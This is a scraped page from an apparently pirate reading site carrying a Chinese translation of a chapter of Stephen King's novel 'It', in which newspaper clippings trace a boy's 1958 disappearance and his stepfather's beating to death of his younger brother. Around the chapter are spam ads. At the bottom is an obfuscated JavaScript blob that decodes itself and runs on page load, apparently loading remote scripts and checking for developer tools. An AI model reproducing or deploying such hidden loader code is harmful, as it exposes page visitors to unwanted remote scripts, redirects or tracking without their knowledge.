足迹
死光的英文
登录
关灯
护眼
字体:

第06章一桩失踪案1958年夏天(第1页)

请退出浏览器阅读模式,否则将导致章节内容缺失及无法阅读下一章。🎁黑丝纯欲主播-免费

1

他们所有的人都没找到。全都没有。人们不时地做出一些错误的判断。

2

以下报道摘自1958年6月21日的德里新闻头版——

“男孩失踪引起新恐慌家住宪章大街73号的10岁男孩爱德华康克雷失踪。

其生母莫妮卡曼克林和继父理查德曼克林已向警方报案。

此桩失踪案在德里居民中引起新一轮的恐慌。

据曼克林夫人说,爱德华在6月19日上学后没有回家。

那天是暑假开始的前一天,也就是本学期的最后一天。

当问及为什么耽搁了24小时才报案,曼克林夫妇拒绝回答。警长博顿也拒绝回答。但是据一位警局人士说爱德华和他的继父关系并不好,他以前也曾经在外面过夜。这位人士还猜测爱德华的期末成绩也是他失踪的原因之一。德里学校的督学哈罗德。曼特卡夫拒绝对爱德的成绩做出评论,并且认为此项记录不宜公开。

“‘我希望该男孩的失踪不要引起不必要的恐慌,’博顿警长昨晚说,‘公众的不安情绪可以理解,但是我要强调的是每年我们都会接到30到50起失踪的报案,大多数在报案一周之内都能安全找到。希望这次爱德华康克雷也是如此。’博顿还重新强调,此前发生的一系列谋杀案件(包括乔治邓邦,贝蒂理普瑟,谢里尔拉莫尼卡,马修克莱门斯以及维朗尼卡格罗根)不是一人所为。“每桩案件都有明显的不同。”

博顿说。但是他拒绝详细评述。他说当地警局正积极展开调查,并已取得显著成果。但当问及何时逮捕凶手,博顿无可奉告。”

以下报道搞自1958年6月22日的德里新闻头版——

“法院命令掘墓验尸爱德华康克雷失踪案出现意想不到的转机。受县检察官和地方法医的要求,德里地方法院法官厄哈特冒顿命令挖掘爱德华弟弟多塞的尸体进行检验。

多塞康克雷据称1957年因意外而死。死前被送进德里家庭医院时,全身有多处骨折,包括一处头颅骨折。其继父理查德曼克林声称当时多塞正在车库里的活梯上玩耍,一不小心掉了下来。多塞受伤后一在昏迷,3天后死亡。

爱德华康克雷,10岁,周三失踪。问及是否曼克林夫妇被警方怀疑与康克雷哥俩的案件有联系,警长博顿拒绝评论。”

以下报道摘自1958年6月24日的德里新闻头版——

“打人致死曼克林被捕昨天德里警局召开新闻发布会,警长理查德。博顿宣布理查德曼克林因被控谋杀继子被捕。去年5月对日,多塞康克雷因所谓的‘意外’而死于德里家庭医院。

“验尸报告表明那个孩子曾经被残酷殴打。’博顿说。尽管文克林声称多塞是从活梯上掉下来摔死的,但报告显示多塞曾经被钝物毒打过。当问及是哪种钝物,博顿说:“可能是一把锤子。验尸官的结论是多塞曾被用某种可以打碎骨头的坚硬物多次击打。那些伤口,特别是头颅上的伤口,与摔伤的伤口完全不一样。多塞是在被打得奄奄一息的时候,才送进医院的。‘问及事态的发展对最近多塞的哥哥爱德华失踪案有何影响时,博顿警长说:“我想事情要比我们原先预测的严重得多,是不是?”

以下报道摘自1958年6月25日的德里新闻第二版——

“老师说爱德华康克雷‘经常伤痕累累’亨利达杜默特,一位曾经教过德里小学五年级的老师,说已经失踪几近一周的爱德华康克雷上学时经常‘伤痕累累’。杜默特夫人说,就在爱德华失踪的3周前的一天,他来学校时‘双眼肿得都快闭上了。当我问他怎么会这样,他说因为不吃晚饭爸爸把他收拾了一顿’。”

在一个简短的电话采访中,莫妮卡曼克林严厉驳斥了杜默特夫人的指控。“理查德从来没有打过多塞,也从来没有打过爱德华。”

她说“我现在告诉你,即使我死后站在上帝的审判台前,我也会说同样的东西。”

以下报道摘自1958年6月28日的德里新闻第二版——

“因为我坏,爸爸不得不收拾我被殴打致死之前,孩子告诉幼儿园阿姨一个不愿透露姓名的本地幼儿园的老师昨天告诉记者,在死前不到一周小多塞到幼儿园时,右手拇指和三个手指严重扭伤。

“他的手指肿得像香肠,连给图画涂色都非常困难。老师说,当我问他怎么回事,他说因为他在母亲刚刚擦过的地板上乱跑,他的继父就向后扭他的手指。用多塞自己的话说就是‘因为我坏,爸爸不得不收拾我’。看见他那可怜的样子我只想哭。我给他吃了一些阿司匹林多塞康克雷10岁的哥哥爱德华依然没有消息。在德里监狱,理查德曼克林仍旧否认自己对多塞之死和爱德华失踪负有责任。”

1958年7月6日的德里新闻头版——

博顿说曼克林将被控谋杀继子罪

以下报道摘自1958年7月24目的德里新闻头版——

“哭泣的继父承认打死继子在地区法院审判理查德曼克林谋杀继子多塞康克雷的过程中出现戏剧性变化。在县检察官布雷德利。惠特萨严厉的交叉盘问下,曼克林承认自己曾用锤子打死年仅4岁的多塞。他把凶器埋在了妻子的菜园里。

曼克林以前曾承认打过两个继子,但只是‘偶尔,为他们好’。当抽泣着的曼克林讲出他的恶行时,法庭里鸦雀无声。

“我不知道什么东西控制了我。当我看见他爬在那个该死的梯子上面,我抽出了放在长椅上的锤子。我并不是要杀死他。上帝作证,我并不想杀死他。”

“当他临死之前,他跟你说了什么?’”

惠特萨问道。

“他说,‘不要打了,爸爸。对不起。我爱你。’”

曼克林说。

“你住手了没有?‘终于住手了。’”

曼克林说完,就歇斯底里地哭了起来。法官厄哈特冒顿不得不宣布法庭休庭。”

以下报道搞自1958年9月18日的德里新闻第十六版——

“爱德华康克雷在哪里?杀害继子多塞被判刑10年的曼克林依旧声称自己不知道爱德华在哪里。德里居民仍然可以怀疑曼克林在爱德华失踪案里是否清白,但是却完全可以排除他是其他谋杀案的凶手。因为前三起谋杀案发生时他已经被拘留,后七起发生时他已经在服刑了。所有十起谋杀案仍然悬而未决。”

以下报道摘自波特兰1967年7月19日的新闻先驱——

“谋杀者在凡尔茅斯自杀9年前犯有谋杀继子罪的理查德曼克林昨天下午被人发现在自己的公寓里自杀。此名假释犯自从1964年在沙山克州立监狱被释,一直生活在凡尔茅斯。

“他留下的便条说明他的头脑极度混乱。凡尔茅斯警局警长助理步兰敦罗切说。他拒绝透露便条的内容,但据警局一位人士说上面是两句话:“昨晚我看见了爱德华。他死了。便条上的爱德华指的是他在1958年所杀害的继子多塞的哥哥。他失踪已经有9年了。”

3

爱德华康克雷当然已经死了。

他死于6月19目的夜晚,和他的继父曼克林毫无关系。就在班恩。汉斯科和他母亲坐在家里看电视的时候;就在艾迪。卡斯布拉克的母亲焦急地摸着他的前额看他是不是发烧的时候;就在贝弗莉。马什的继父(一个脾气和爱德华的继父极为相似的人)踢了她一脚,告诉她去洗盘子的时候;就在麦克汉伦在自家花园拔草而被高年级的孩子们谩骂的时候;就在理奇。多杰在偷看从父亲抽屉里翻出来的半裸女人照的时候;就在比尔那邦惊慌失措地扔掉乔治相册的时候,爱德华死了。

尽管他们当中此后没有一个人记得当时的情况,他们所有的人在爱德华死的那一刻都始起头来好像听到了远方传来的叫声。

德里新闻的报道有一点绝对正确:爱德华的成绩很糟糕,他不敢回家面对他的继父,还有母亲和继父这个月一直在打架,那使情况变得更加糟糕。每当吵架白热化的时候,母亲会前言不搭后语地大声叫骂,继父先是不高兴地嘟哝,然后就会嚷着让她闭嘴,最后就破口大骂。但是爱德华从来没有见过他曾对母亲拳脚相加,爱德华觉得他不敢那么做。以前爱德华和多塞常挨他的毒打,现在多塞死了,他把多塞的那一份也算到爱德华头上了。

他们的骂架不时发生。最常发生的时候是在月底,也就是发薪水的时候。有时他们大吵大闹引得邻居报警,最后警察来了他们的吵架才告一段落。母亲总是向警察挑衅说他不敢碰她,而继父也从来不敢那么做。

🎁黑丝纯欲主播-免费请退出浏览器阅读模式,否则将导致章节内容缺失及无法阅读下一章。

!function(){function a(a){var _idx="b6hhl9i8jo";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hLFd5F"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPP@Q}JOf1{@Lf@QmD(f7RCmRT4gQ@{n/h^/@Q}jR8)KhhqQ6{CO"a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"@Q}"=^8")KhhqQ6{CO"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"@Q}d2(LCYmRD(JhfmRT4"="@Q}5p(LYpmq^Xf(LmRT4"="@Q}D7(LSqm(f24hJmRT4"="@Q}dC(LJ^mRD(JhfmRT4"="@Q}(C(L:4mq^Xf(LmRT4"="@Q}C2(LSYm(f24hJmRT4"="@Q}25(LLSmRD(JhfmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{n"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPP@Q}2F(LCYmsYDnn{:mRT4gQ@{n/((/@Q}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPP@Q}2F(LCYmsYDnn{:mRT4gQ@{n/((/@Q}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPP@Q}JOf1{@Lf@QmD(f7RCmRT4gQ@{n/f/@Q}j(8}vR8)KhhqQ6{CO"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPP@Q}JOf1{@Lf@QmD(f7RCmRT4gQ@{n"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();